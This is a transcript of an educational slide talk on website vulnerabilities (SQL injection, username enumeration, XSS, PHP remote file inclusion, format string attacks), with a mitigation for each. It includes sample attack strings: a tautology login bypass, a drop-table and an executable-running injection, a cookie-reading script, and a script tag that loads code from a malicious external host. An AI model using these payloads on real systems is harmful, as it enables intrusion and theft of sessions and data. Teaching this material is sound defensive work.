Transcript Website Vulnerabilities

by Brian Vees





SQL Injection
Username Enumeration
Cross Site Scripting (XSS)
Remote Code Execution
String Formatting Vulnerabilities

A very common, and easy to exploit vulnerability
Requires basic SQL knowledge

The basic idea:

Find a user-inputted field that most likely is used to
query a database
 Insert text in the field which will then merge with the
SQL query being executed
 Examine the results to gain info about the database
 Using this info, write better queries to receive potentially
private data



Given a sample login
prompt on a webpage:
Query to validate username might look like
this:
query = "select * from user where username='" + tbUserName.Text + "'";

Entering a single apostrophe “breaks out” of
the intended SQL code, allowing other code to
be executed

Entering this data
causes the following
query to be sent to the
database:
select * from user where username='' or 1=1 --'

Since 1=1 is always true, this query returns all
users in the database



SQL injection to obtain error messages
containing useful data
SQL injection to delete data
('drop [tablename]--)
SQL injection to execute files
exec sp_oamethod @o, 'run', NULL,
'executable.exe'



“Escape” apostrophes
String replacement on SQL-specific character
combinations (“--”)
Safest: reject any bad input rather than
attempting to “cleanse” it

Not necessarily plausible: names like O’Brien and
other valid input contain apostrophes

A very simple method of finding valid
usernames


Use the same error message for invalid
password and invalid username
This way an attacker has no idea whether or
not the username is correct



Another type of code injection, but with clientside script
Can be used to bypass client-side security, as
well as gain other information (session cookies)
Yahoo! and even Google have previously fallen
victim to this vulnerability


This form echoes what the
user entered in the case of
an invalid login (i.e. invalid
characters)
What if we input JavaScript?

Consider if we now input the following code:
<script>alert(document.cookie)</script>


With this data, we can bypass cookie-based
security
Also, external, lengthier scripts can be injected:
<script src=“http://www.malicioussite.com/javascript.src”></script>


User input cleansing
Don’t echo user input back unless it is
necessary


Potentially the most dangerous vulnerability
Stems from unsecure settings on a web server




In PHP, the register_globals setting is often set
to “on” to ease development
This allows for global variables to be set
remotely
require($page . “.php”);
If $page is not initialized, any arbitrary file can
be included and will be executed on that server


There are several XML specifications that are
also vulnerable to remote code execution
Improperly validated XML can “break out” of
the XML, and execute malicious code


Ensure web server configuration is secure
(namely, if using PHP, turn register_globals
off)
Validate user input


An attack on server-side functions that can
perform formatting (such as C’s printf)
Special characters are used to read or write
sections of memory that normally would not be
accessible



%s can be used to continue reading data off the
stack until an illegal memory address is
attempted to be accessed, crashing the program
%x can be used to print areas of memory that
are normally not accessible
%d, %u, and %x can be used to overwrite the
instruction pointer, allowing the execution of
user-defined code


Make sure and verify all user input
Replace or reject special characters (“%”)

What is the golden rule that will stop the
majority of these website attacks?
Validate User Input!